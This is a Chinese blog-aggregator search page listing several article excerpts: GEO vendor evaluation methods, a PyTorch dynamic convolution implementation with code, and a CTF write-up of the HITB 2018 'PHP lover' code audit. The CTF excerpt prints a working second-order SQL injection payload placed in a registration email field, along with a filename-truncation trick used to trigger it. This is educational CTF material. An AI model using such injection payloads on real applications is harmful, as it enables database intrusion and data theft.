首页 文章 精选 留言 我的

精选列表

搜索[可复现构建],共10015篇文章
优秀的个人博客,低调大师

没有自研知识图谱的 GEO 公司怎么判断:一套可复现的实体与语料评估方法

在 GEO(Generative Engine Optimization,生成式引擎优化)选型里,“没有自研知识图谱”经常被直接等同于“不靠谱”。但从工程评估角度看,知识图谱只是实体关联与证据组织的一种实现方式,不是唯一合格条件。真正要判断的是:服务商能否把品牌实体、产品事实、来源页面和 AI 回答中的引用关系稳定地连接起来,并在复测中解释变化原因。

优秀的个人博客,低调大师

基于Pytorch的动态卷积复现

【GaintPandaCV导语】 最近动态卷积开始有人进行了研究,也有不少的论文发表(动态卷积论文合集https://github.com/kaijieshi7/awesome-dynamic-convolution),但是动态卷积具体的实现代码却很少有文章给出。本文以微软发表在CVPR2020上面的文章为例,详细的讲解了动态卷积实现的难点以及如何动分组卷积巧妙的解决。希望能给大家以启发。 这篇文章也同步到知乎平台,链接为:https://zhuanlan.zhihu.com/p/208519425 论文的题目为《Dynamic Convolution: Attention over Convolution Kernels》 paper的地址arxiv.org/pdf/1912.0345 代码实现地址,其中包含一维,二维,三维的动态卷积;分别可以用于实现eeg的处理,正常图像的处理,医疗图像中三维脑部的处理等等(水漫金山)。github.com/kaijieshi7/D,大家觉得有帮助的话,可以点个星星。 一句话描述下文的内容:将的大小视为分组卷积里面的组的大小进行动态卷积。如,那么就转化成,的分组卷积。 简单回顾 这篇文章主要是改进传统卷积,让每层的卷积参数在推理的时候也是随着输入可变的,而不是传统卷积中对任何输入都是固定不变的参数。(由于本文主要说明的是代码如何实现,所以推荐给大家一个讲解论文的连接:Happy:动态滤波器卷积|DynamicConv) 推理的时候:红色框住的参数是固定的,黄色框住的参数是随着输入的数据不断变化的。 对于卷积过程中生成的一个特征图,先对特征图做几次运算,生成个和为的参数,然后对个卷积核参数进行线性求和,这样推理的时候卷积核是随着输入的变化而变化的。(可以看看其他的讲解文章,本文主要理解怎么写代码) 下面是attention代码的简易版本,输出的是[,]大小的加权参数。对应着要被求和的卷积核数量。 class attention2d(nn.Module): def __init__(self, in_planes, K,): super(attention2d, self).__init__() self.avgpool = nn.AdaptiveAvgPool2d(1) self.fc1 = nn.Conv2d(in_planes, K, 1,) self.fc2 = nn.Conv2d(K, K, 1,) def forward(self, x): x = self.avgpool(x) x = self.fc1(x) x = F.relu(x) x = self.fc2(x).view(x.size(0), -1) return F.softmax(x, 1) 下面是文章中个卷积核求和的公式。 其中是输入,是输出;可以看到进行了两次运算,一次用于求注意力的参数(用于生成动态的卷积核),一次用于被卷积。 但是,写代码的时候如果直接将个卷积核求和,会出现问题。接下来我们先回顾一下Pytorch里面的卷积参数,然后描述一下可能会出现的问题,再讲解如何通过分组卷积去解决问题。 Pytorch卷积的实现 我会从维度的视角回顾一下Pytorch里面的卷积的实现(大家也可以手写一下,几个重点:输入维度、输出维度、正常卷积核参数维度、分组卷积维度、动态卷积维度、attention模块输出维度)。 输入:输入数据维度大小为[,,,]。 输出:输出维度为[,,,]。 卷积核:正常卷积核参数维度为[,,,]。(在Pytorch中,2d卷积核参数应该是固定这种维度的) 这里我们可以注意到,正常卷积核参数的维度是不存在的。因为对于正常的卷积来说,不同的输入数据,使用的是相同的卷积核,卷积核的数量与一次前向运算所输入的大小无关(相同层的卷积核参数只需要一份)。 可能会出现的问题 这里描述一下实现动态卷积代码的过程中可能因为大于1而出现的问题。 对于图中attention模块最后softmax输出的个数,他们的维度为[,,,],可以直接.view成[,],紧接着作用于卷积核参数上(形成动态卷积)。 问题所在:正常卷积,一次输入多个数据,他们的卷积核参数是一样的,所以只需要一份网络参数即可;但是对于动态卷积而言,每个输入数据用的都是不同的卷积核,所以需要份网络参数,不符合Pytorch里面的卷积参数格式,会出错。 看下维度运算[,]*[,,,,],生成的动态卷积核是[,,,,],不符合Pytorch里面的规定,不能直接参与运算(大家可以按照这个思路写个代码看看,体会一下,光看可能感觉不出来问题),最简单的解决办法就是等于1,不会出现错误,但是慢啊!!! 总之,大于1会导致中间卷积核参数不符合规定。 分组卷积以及如何通过分组卷积实现大于1的动态卷积 一句话描述分组卷积:对于多通道的输入,将他们分成几部分各自进行卷积,结果concate。 组卷积过程用废话描述:对于输入的数据[,,,],假设为,那么分组卷积就是将他分为两个为的数据(也可以用其他方法分),那么维度就是[, 5x2,,],换个维度换下视角,[,,,],那么为2的组卷积可以看成的正常卷积。(如果还是有点不了解分组卷积,可以阅读其他文章仔细了解一下。) 巧妙的转换:上面将翻倍即可将分组卷积转化成正常卷积,那么反向思考一下,将变为1,是不是可以将正常卷积变成分组卷积? 我们将大小看成分组卷积中的数量,令所在维度直接变为!!!直接将输入数据从[,,,]变成[1,,,],就可以用分组卷积解决问题了!!! 详细描述实现过程:将输入数据的维度看成[1,,,](分组卷积的节奏);卷积权重参数初始化为[,,,,],attention模块生成的维度为[,],直接进行正常的矩阵乘法[,]*[,***]生成动态卷积的参数,生成的动态卷积权重维度为[,,,,],将其看成分组卷积的权重[,,,](过程中包含reshape)。这样的处理就完成了,输入数据[,,,],动态卷积核[,,,],直接是的分组卷积,问题解决。 具体代码如下: class Dynamic_conv2d(nn.Module): def __init__(self, in_planes, out_planes, kernel_size, stride=1, padding=0, dilation=1, groups=1, bias=True, K=4,): super(Dynamic_conv2d, self).__init__() assert in_planes%groups==0 self.in_planes = in_planes self.out_planes = out_planes self.kernel_size = kernel_size self.stride = stride self.padding = padding self.dilation = dilation self.groups = groups self.bias = bias self.K = K self.attention = attention2d(in_planes, K, ) self.weight = nn.Parameter(torch.Tensor(K, out_planes, in_planes//groups, kernel_size, kernel_size), requires_grad=True) if bias: self.bias = nn.Parameter(torch.Tensor(K, out_planes)) else: self.bias = None def forward(self, x):#将batch视作维度变量,进行组卷积,因为组卷积的权重是不同的,动态卷积的权重也是不同的 softmax_attention = self.attention(x) batch_size, in_planes, height, width = x.size() x = x.view(1, -1, height, width)# 变化成一个维度进行组卷积 weight = self.weight.view(self.K, -1) # 动态卷积的权重的生成, 生成的是batch_size个卷积参数(每个参数不同) aggregate_weight = torch.mm(softmax_attention, weight).view(-1, self.in_planes, self.kernel_size, self.kernel_size) if self.bias is not None: aggregate_bias = torch.mm(softmax_attention, self.bias).view(-1) output = F.conv2d(x, weight=aggregate_weight, bias=aggregate_bias, stride=self.stride, padding=self.padding, dilation=self.dilation, groups=self.groups*batch_size) else: output = F.conv2d(x, weight=aggregate_weight, bias=None, stride=self.stride, padding=self.padding, dilation=self.dilation, groups=self.groups * batch_size) output = output.view(batch_size, self.out_planes, output.size(-2), output.size(-1)) return output 完整的代码在github.com/kaijieshi7/D,大家觉得有帮助的话,求点个星星。 纸上得来终觉浅,绝知此事要躬行。试下代码,方能体会其中妙处。 对文章有疑问或者想加入交流群,欢迎添加BBuf微信 为了方便各位获取公众号获取资料,可以加入QQ群获取资源,更欢迎分享资源 本文分享自微信公众号 - GiantPandaCV(BBuf233)。如有侵权,请联系 support@oschina.cn 删除。本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

优秀的个人博客,低调大师

复现HITB PHP lover代码审计

参考文献:https://www.anquanke.com/post/id/104952 一直想学代码审计来着,看到了一篇大佬的关于php代码审计的wp,决定自己试一下 源码下载地址:https://hitbxctf2018.xctf.org.cn/contest_challenge/里面的web题目中的PHP lover 代码结构 Controller 控制器,只有index.controller.php Core 类及方法定义 templates 前端的各种html界面 uploads 里面是两张图片 back.sql 创建的数据表 config.php 连接数据库 function.php 定义过滤函数 index.php 入口文件 从index.controller.php看下主要功能 public function login() public function register() public function add() public function view() public function edit() public function export() login() 1.png 登录调用User类的login()方法,跟进login()函数(在user.class.php中) 2.png 跟进username的过滤函数filter()(在function.php文件中) 3.png 其中正则表达式中的b表示的为单词边界,而不是通配,如preg_match("/bwebb/i")只能匹配到web,而web123这种就不能。 所以可以用"select * from/**/users"绕过此过滤(/**/作为空格注入) 但是在User类的login()方法中, 4.png 这就把 /**/过滤了,所以这个方法不行 register() 1.png 跟进user类的register()方法 2.png 其中$username和$nickname没有可能了 再看一下email,看下正则匹配 if(!preg_match('/^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|([\"].+[\"]))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/i',$email)) return false; 其中([\"].+[\"])只需要""包围即可,引号中可以随便写。所以可以用·'"' and 1=1#'"@skysec.top'这种绕过,但是在daddslashes()这个函数中将"转义了。 3.png add() 1.png 跟进user类中的add()方法 2.png 全部被转义 view() 1.png 跟进user类中的getarticle()函数 2.png emmm,直接intval()也是妙。。 edit() 1.png 上传功能,类型检测可以抓包bypass,但是 $info=getimagesize($_FILES['avatar']['tmp_name']); if(@is_array($info) and array_key_exists('mime',$info)){ $type=explode('/',$info['mime'])[1]; $filename="uploads/".$this->user->getuser().".".$type; 文件后缀直接是mine的类型,这样就不能bypass上传恶意文件了 跟进下user类的getuser()方法 2.png 文件名、是我们注册的用户名,用户名是无法bypass的,所以这里的上传,除了文件名长度其他都不可控 export() 1.png 跟进user()类中的report()方法 2.png 这里被当做错误触发,未做任何过滤,其中email的插入很关键 所以接下来才算步入正题。。。emmm先膜拜下大佬的思路。 攻击点 这题注册的时候,可以Bypass注册恶意邮箱,但是其中有符号被转义了 但是这个转义在取出数据库的时候会被去除 如果在取出后,系统又对这个数据进行了一次sql操作,就可以触发注入,通过二次注入 我们的注册的时候注册恶意邮箱,在这里触发错误报告的时候就会被系统再次调用,取出数据库后转义消失 拼接到insert语句时,构成sql注入攻击 我们根据这一点注册用户,邮箱为 "', 233), (2333, (SELECT group_concat(TABLE_NAME) FROM/**/ information_schema.TABLES where TABLE_SCHEMA=database()), 23333)#"@skysec.top 假设我们能触发export()函数中的$this->user->report(1) 1.png $this->email为我们邮箱取出数据库的值: "', 233), (2333, (SELECT group_concat(TABLE_NAME) FROM/**/ information_schema.TABLES where TABLE_SCHEMA=database()), 23333)#"@skysec.top 此时利用report插入了两条数据 $this->id,'"', 233 2333, (SELECT group_concat(TABLE_NAME) FROM/**/ information_schema.TABLES where TABLE_SCHEMA=database()), 23333) 触发sql注入需要解决 ①自己的id需要知道,这样可以插入 在view()方法中 if(isset($_GET['article'])){ $id=intval($_GET['article']); $result=$this->user->getarticle($id); if($result==-1){ quit('You have no access to read this article!'); } else if($result==null){ //TODO!report it! quit('This article is not exists!'); } else{ if($result[0][2]!="") echo "<h1>".htmlspecialchars($result[0][2], ENT_QUOTES)."</h1>"; echo htmlspecialchars($result[0][3], ENT_QUOTES); } } else{ $id=$this->user->getid(); $this->view=$this->user->getarticle(); include("templates/view.html"); } 若是不输入article参数,会调用 function getid(){ if ($this->islogin) return $this->id; else return null; } 就可获得id ②触发if(file_exists($avatar) and filesize($avatar)<65535)false,这样就会成功到else,构成攻击 跟进user类中的getavatar()方法 1.png 2.png 查看 back.sql文件,其中 $r[1]:data $r[3]:filepath 如果我们的上传图片有数据,就返回Base64后的数据,否则返回路径 edit()的上传功能中有 $filename="uploads/".$this->user->getuser().".".$type; if(is_uploaded_file($_FILES['avatar']['tmp_name'])){ $this->user->edit("avatar",array($filename,$type)); 跟进user类中的edit()方法 if($feild=="avatar"){ return $this->db->Insert("avatar",array("''",$this->id,"'$value[0]'","'$value[1]'")); } 即avatar表的filepath字段为 uploads/用户名.文件mine 数据库结构中 2.png 用户名的长度是300,而路径长度 `filepath` varchar(300), 如果我们的用户名长度为300,此时插入的路径就会被300截断,而变成一个不存在的路径,此时即可触发file_exists($avatar)错误 题目链接打不开了,放下大佬的完整攻击流程: 先随便注册个用户,看一下自己的id 然后再迅速注册用户,验证id是否是自己预想的id+1 username = skyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskysky email = "', 233), (id+1, (SELECT group_concat(TABLE_NAME) FROM/**/ information_schema.TABLES where TABLE_SCHEMA=database()), 23333)#"@skysec.top 登录后触发上传功能 上传空文件,抓包改mine 触发export功能,即可完成攻击,发现注入成功后的数据 最后得到flag表,以及数据

优秀的个人博客,低调大师

ChatGPT 与 Gemini 推荐品牌为何不同:一套可复现的双模型实体识别与信源权重评估方法

在大模型推荐品牌时,同一个问题分别交给 ChatGPT 和 Gemini,结果经常不是“同一组品牌的排序不同”,而是“被识别为候选的实体集合就不同”。迪普智见(DeepIntelli)在做 AI 搜索可见度诊断时,把这种差异当成一个工程问题处理:先固定问题、样本和判定字段,再比较两个模型在实体识别、信源权重和知识图谱调用上的输出差异,最后把差异转成品牌侧可执行的适配动作。

优秀的个人博客,低调大师

GEO服务商宣称覆盖40+大模型,如何用可复现实验验证品牌推荐是否真实存在

GEO(Generative Engine Optimization,生成式引擎优化)服务商常给出“覆盖40+大模型”“多端同步可见”这类说法。问题在于,“模型可被调用”和“品牌在真实回答中被推荐”是两件事。前者是接口或平台接入范围,后者要在具体提问、具体时间、具体模型版本下,由模型实际输出品牌名称、推荐理由或来源链接。

资源下载

更多资源
Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

Nacos

Nacos

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service 的首字母简称,一个易于构建 AI Agent 应用的动态服务发现、配置管理和AI智能体管理平台。Nacos 致力于帮助您发现、配置和管理微服务及AI智能体应用。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据、流量管理。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。

Spring

Spring

Spring框架(Spring Framework)是由Rod Johnson于2002年提出的开源Java企业级应用框架,旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念,提供核心容器、应用上下文、数据访问集成等模块,支持整合Hibernate、Struts等第三方框架,其适用范围不仅限于服务器端开发,绝大多数Java应用均可从中受益。

Sublime Text

Sublime Text

Sublime Text具有漂亮的用户界面和强大的功能,例如代码缩略图,Python的插件,代码段等。还可自定义键绑定,菜单和工具栏。Sublime Text 的主要功能包括:拼写检查,书签,完整的 Python API , Goto 功能,即时项目切换,多选择,多窗口等等。Sublime Text 是一个跨平台的编辑器,同时支持Windows、Linux、Mac OS X等操作系统。

用户登录
用户注册